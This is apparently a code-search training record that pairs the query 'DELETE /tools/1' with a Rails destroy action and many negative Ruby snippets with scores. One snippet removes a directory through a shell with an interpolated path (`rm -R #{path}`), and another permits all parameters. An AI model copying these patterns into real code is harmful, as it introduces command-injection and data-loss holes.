if args.key?(:reconciling)\n @security_config = args[:security_config] if args.key?(:security_config)\n @state = args[:state] if args.key?(:state)\n @status = args[:status] if args.key?(:status)\n @storage = args[:storage] if args.key?(:storage)\n @uid = args[:uid] if args.key?(:uid)\n @update_time = args[:update_time] if args.key?(:update_time)\n @validation_check = args[:validation_check] if args.key?(:validation_check)\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @resource_key = args[:resource_key] if args.key?(:resource_key)\n end", "def tool_params\n params.require(:tool).permit(:name, :language, :json_spec)\n end", "def update!(**args)\n @include_form_in_response = args[:include_form_in_response] if args.key?(:include_form_in_response)\n @requests = args[:requests] if args.key?(:requests)\n @write_control = args[:write_control] if args.key?(:write_control)\n end", "def update!(**args)\n @revision = args[:revision] if args.key?(:revision)\n @service = args[:service] if args.key?(:service)\n @service_urls = args[:service_urls] if args.key?(:service_urls)\n end", "def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update!(**args)\n @bundles = args[:bundles] if args.key?(:bundles)\n @platform_version = args[:platform_version] if args.key?(:platform_version)\n @required_platform_version = args[:required_platform_version] if args.key?(:required_platform_version)\n @status = args[:status] if args.key?(:status)\n end", "def patch; end", "def patch; end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def update!(**args)\n @applied_capabilities = args[:applied_capabilities] if args.key?(:applied_capabilities)\n @create_time = args[:create_time] if args.key?(:create_time)\n @creator = args[:creator] if args.key?(:creator)\n @disable_time = args[:disable_time] if args.key?(:disable_time)\n @disabler = args[:disabler] if args.key?(:disabler)\n @display_hints = args[:display_hints] if args.key?(:display_hints)\n @id = args[:id] if args.key?(:id)\n @lifecycle = args[:lifecycle] if args.key?(:lifecycle)\n @lock_status = args[:lock_status] if args.key?(:lock_status)\n @properties = args[:properties] if args.key?(:properties)\n @publish_time = args[:publish_time] if args.key?(:publish_time)\n @publisher = args[:publisher] if args.key?(:publisher)\n @schema_capabilities = args[:schema_capabilities] if args.key?(:schema_capabilities)\n @update_time = args[:update_time] if args.key?(:update_time)\n @updater = args[:updater] if args.key?(:updater)\n end", "def patch(path, opts = {}, &block)\n request(:patch, path, opts, &block)\n end", "def patch(path, opts = {}, &block)\n request(:patch, path, opts, &block)\n end", "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "def update!(**args)\n @create = args[:create] if args.key?(:create)\n @delete = args[:delete] if args.key?(:delete)\n @get = args[:get] if args.key?(:get)\n @set_iam_policy = args[:set_iam_policy] if args.key?(:set_iam_policy)\n @update = args[:update] if args.key?(:update)\n end", "def update\n # @recipe = Recipe.find(params[:id])\n #\n update! do |success, failure|\n # success.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n # success.json { head :ok }\n # failure.html { render action: \"edit\" }\n # failure.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end", "def update\r\n @stage = Stage.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @stage.update_attributes(params.required(:stage).permit!)\r\n format.html {redirect_to @stage, :notice => 'Stage was successfully updated.'}\r\n format.json {head :no_content}\r\n else\r\n format.html {render :action => \"edit\"}\r\n format.json {render :json => @stage.errors, :status => :unprocessable_entity}\r\n end\r\n end\r\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend" ]
[ "0.67133415", "0.65646404", "0.63968515", "0.6318347", "0.62360615", "0.6217166", "0.6028406", "0.60213095", "0.598312", "0.5935947", "0.59353626", "0.59353626", "0.59353626", "0.59353626", "0.59144145", "0.58895427", "0.58887035", "0.5883666", "0.5879926", "0.5852409", "0.57763183", "0.5765187", "0.57282215", "0.57242465", "0.5717419", "0.57041985", "0.5698637", "0.5696265", "0.5670999", "0.56667006", "0.5654274", "0.5653343", "0.5653343", "0.5640353", "0.562399", "0.56166583", "0.56120634", "0.56120634", "0.56120634", "0.56120634", "0.56120634", "0.56120634", "0.56098986", "0.5605035", "0.5603864", "0.5592244", "0.5590066", "0.5588335", "0.5586855", "0.5584926", "0.5562929", "0.5553151", "0.5553151", "0.5519795", "0.5516831", "0.5515794", "0.54955184", "0.54933435", "0.54923266", "0.5490133", "0.5481774", "0.5479357", "0.54675555", "0.5453113", "0.54524225", "0.5440779", "0.54392755", "0.5436657", "0.5435313", "0.5433986", "0.5432872", "0.5432451", "0.5432091", "0.5426239", "0.54222745", "0.54188734", "0.5417742", "0.5415968", "0.5411551", "0.5405047", "0.54008174", "0.53984076", "0.53977513", "0.53967494", "0.5395389", "0.53947717", "0.53947717", "0.5393306", "0.5393306", "0.53925467", "0.53924495", "0.53924495", "0.53919995", "0.5391722", "0.5378112", "0.53778815", "0.53733873", "0.537335", "0.5371604" ]
0.6419783
3
DELETE /tools/1 DELETE /tools/1.json
def destroy @tool.destroy respond_to do |format| format.html { redirect_to tools_url, notice: 'Tool was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @tool = Tool.find(params[:id])\n @tool.destroy\n\n respond_to do |format|\n format.html { redirect_to tools_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tool = Tool.find(params[:id])\n @job = Jobsite.find(@tool.jobsite_id)\n \n @job.tools.delete(@tool)\n current_user.tools.delete(@tool)\n @tool.destroy\n\n respond_to do |format|\n format.html { redirect_to tools_url }\n format.json { head :no_content }\n end\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def destroy\n @tool.destroy\n respond_to do |format|\n format.html { redirect_to tool_url, notice: 'Tool was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def deleteBusiness_tool( tool_id)\n params = Hash.new\n params['tool_id'] = tool_id\n return doCurl(\"delete\",\"/business_tool\",params)\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n respond_to do |format|\n if @tool.destroy\n format.html { redirect_to tools_url }\n format.json { head :no_content }\n else\n format.html {redirect_to @tool; gflash :failure => 'You can not destroy this tool'}\n end\n\n end\n end", "def destroy\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n if @tool.destroy\n format.html { redirect_to tools_url,\n notice: (crud_notice('destroyed', @tool) + \"#{undo_link(@tool)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to tools_url, alert: \"#{@tool.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def destroy\n authorize! @tool\n\n @tool.destroy\n redirect_to(\n tools_user_path(@tool.owner),\n notice: t(\"tool.deleted\", name: @tool.name)\n )\n end", "def destroy\n @tool_type.destroy\n respond_to do |format|\n format.html { redirect_to tool_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @s_tool\n @s_tool.destroy\n set_return_to\n respond_to do |format|\n format.html { redirect_back_or_default s_tools_url, t('Record has been deleted') }\n format.json { head :no_content }\n end\n end", "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @commander = Commander.find(params[:id])\n @commander.destroy\n\n respond_to do |format|\n format.html { redirect_to commanders_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @uuid = params[:uuid]\n respond_to do |format|\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end", "def delete_and_give_me_a_json(additional_path, params = nil)\n if self.service_base_path != nil\n if params == nil\n params = Hash.new\n end\n params[:api_key] = self.access_token\n message = self.http_client.delete \"#{self.base_url}#{self.service_base_path}/#{additional_path}.json\", params\n trata_erro(message.content)\n end\n end", "def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end", "def delete(path, opts = {})\n request(:delete, path, opts).body\n end", "def delete\n request(:delete)\n end", "def delete!\n request! :delete\n end", "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def destroy\n @compliance_tool.destroy\n respond_to do |format|\n format.html { redirect_to compliance_tools_url, notice: 'Compliance tool was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tooling.destroy\n respond_to do |format|\n format.html { redirect_to toolings_url, notice: 'Tooling was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_stage_for_test stage_data\n cli.delete_stage stage_data\nrescue\nend", "def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end", "def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def delete(command)\n pp @client.files.delete(clean_up(command[1]))\n end", "def destroy\n @server = Server.find(params[:id])\n checkaccountobject(\"servers\",@server)\n @server.send_delete\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def delete(resource)\n headers = base_headers.merge('Content-Type' => 'application/json')\n url = \"#{@base_url}/#{resource}\"\n\n @logger.debug(\"DELETE request Url: #{url}\")\n @logger.debug(\"-- Headers: #{headers}\")\n\n x = HTTParty.delete(url, headers: headers)\n puts x.inspect\n x\n end", "def destroy\n @admin.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end", "def destroy\n orden@client.destroy\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @client_need = ClientNeed.find(params[:id])\n @client_need.destroy\n\n respond_to do |format|\n format.html { redirect_to client_needs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @go = Go.find(params[:id])\n @go.destroy\n\n respond_to do |format|\n format.html { redirect_to manager_gos_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete\n api(\"Delete\")\n end", "def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n request(:delete, path)\n end", "def destroy\n @intake.destroy\n respond_to do |format|\n format.html { redirect_to intakes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tool_specialty_option = ToolSpecialtyOption.find(params[:id])\n @tool_specialty_option.destroy\n\n respond_to do |format|\n format.html { redirect_to tool_specialty_options_url }\n format.json { head :no_content }\n end\n end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end", "def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end", "def destroy\n @script = Script.find(params[:id])\n @script.destroy\n# delete script file\n script_name = \"script_#{@script.id}.sh\"\n File.delete(\"script/#{script_name}\")\n\n# Delete error/success logs\nerror_log = \"error_#{@script.id}.txt\"\nsuccess_log = \"success_#{@script.id}.txt\"\nlog_dir = \"#{Rails.root}/script-logs/\"\n File.delete(log_dir + error_log) unless !File.exist?(log_dir + error_log)\n File.delete(log_dir + success_log) unless !File.exist?(log_dir + success_log)\n respond_to do |format|\n format.html { redirect_to scripts_url }\n format.json { head :no_content }\n end\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end", "def destroy\n #@tool_part = ToolPart.find(params[:id])\n if @tool_part.destroy && @tool_part.destroy\n respond_to do |format|\n format.html { redirect_to tool_parts_url, notice: I18n.t('controllers.destroy_success', name: @tool_part.class.model_name.human) } \n format.json { head :no_content }\n format.xml { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to tool_parts_url, notice: I18n.t('controllers.destroy_fail', name: @tool_part.class.model_name.human) }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end\n end", "def destroy\n Generator.where(id: params[:id] ).first.destroy\n respond_to do |format|\n format.html { redirect_to generators_url }\n format.json { head :no_content }\n end\n end", "def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end", "def delete(*rest) end", "def delete(*args)\n request(:delete, *args)\n end", "def destroy\n debug(\"#{self.class}::destroy\")\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n\n end\n\n\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n resourceType = \"storageservicelevel\"\n\n if(transport.http_delete_request(apiUri ,resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully deleted\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully deleted\"\n\t\t\tend\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} deletion failed\"\n\t\t else\n\t\t\t puts \" #{resourceType} deletion failed\"\n\t\t end\n end\n\nend", "def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def delete(type, id)\n http_delete @target, \"#{type_info(type, :path)}/#{Addressable::URI.encode(id)}\", @auth_header, @zone\n end", "def destroy\n chef_rest_v1.delete(\"clients/#{@name}\")\n end", "def delete\n @delete ||= Verb.new do |verb|\n verb.entity :trip, :air, :lodging, :car, :profile, :rail, \\\n :transport, :cruise, :restaurant, :activity, :note, :map, \\\n :directions \\\n do |entity, id|\n do_request('delete', entity, {:id=>id}, nil)\n end\n end\n end", "def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Данные по клиенту удалены.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tool_reservation.destroy\n respond_to do |format|\n format.html { redirect_to tool_reservations_url, notice: 'Tool reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n \n end", "def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n render json: {:ok => true}\n end", "def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client.delete(@name)\n end", "def destroy\n @tooling_specification = ToolingSpecification.find(params[:id])\n @tooling_specification.destroy\n\n respond_to do |format|\n format.html { redirect_to tooling_specifications_url }\n format.json { head :ok }\n end\n end", "def delete(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'delete'}.merge(authentication))\n end", "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "def destroy\n @qa_client = QaClient.find(params[:id])\n @qa_client.destroy\n\n respond_to do |format|\n format.html { redirect_to qa_clients_url }\n format.json { head :no_content }\n end\n end", "def delete(path, params = {})\n post(path, params.merge(\"_method\" => \"delete\"))\n end", "def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n\t\trequest(path, :delete)\n\tend", "def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end", "def destroy\n @api_v1_menu.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end" ]
[ "0.7144733", "0.7039913", "0.6961637", "0.68186086", "0.6736317", "0.66941506", "0.6686321", "0.66800654", "0.6678375", "0.6568023", "0.6566609", "0.6537114", "0.6531894", "0.65015507", "0.6496347", "0.64757234", "0.6419092", "0.6412645", "0.6392184", "0.63493603", "0.63370186", "0.6295405", "0.6279683", "0.6279683", "0.6279683", "0.6279683", "0.6243272", "0.6230399", "0.61775374", "0.6174944", "0.6162257", "0.6160227", "0.6134433", "0.6129749", "0.612621", "0.6107921", "0.6105972", "0.61024445", "0.60992885", "0.6062673", "0.6058439", "0.60583943", "0.6052281", "0.6052281", "0.6049256", "0.6045736", "0.6035762", "0.6020196", "0.6018681", "0.60177827", "0.6014007", "0.6014007", "0.6009141", "0.6008889", "0.6008484", "0.6006546", "0.6006222", "0.5998067", "0.59973437", "0.5997044", "0.59920317", "0.5989573", "0.5972897", "0.5968105", "0.59610075", "0.5954517", "0.5954517", "0.5954504", "0.5950238", "0.59494394", "0.5946015", "0.5941601", "0.5938611", "0.59351736", "0.5934747", "0.59329295", "0.5932886", "0.59311277", "0.59303784", "0.5929882", "0.5925234", "0.5922939", "0.5918471", "0.5915444", "0.5913622", "0.5913561", "0.5912593", "0.5912593", "0.59118575", "0.5909381", "0.5908898", "0.59081346", "0.59061635", "0.59045523", "0.59014636", "0.5896486", "0.5896365", "0.58949083", "0.5894319" ]
0.69460154
4
Use callbacks to share common setup or constraints between actions.
def set_tool @tool = Tool.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
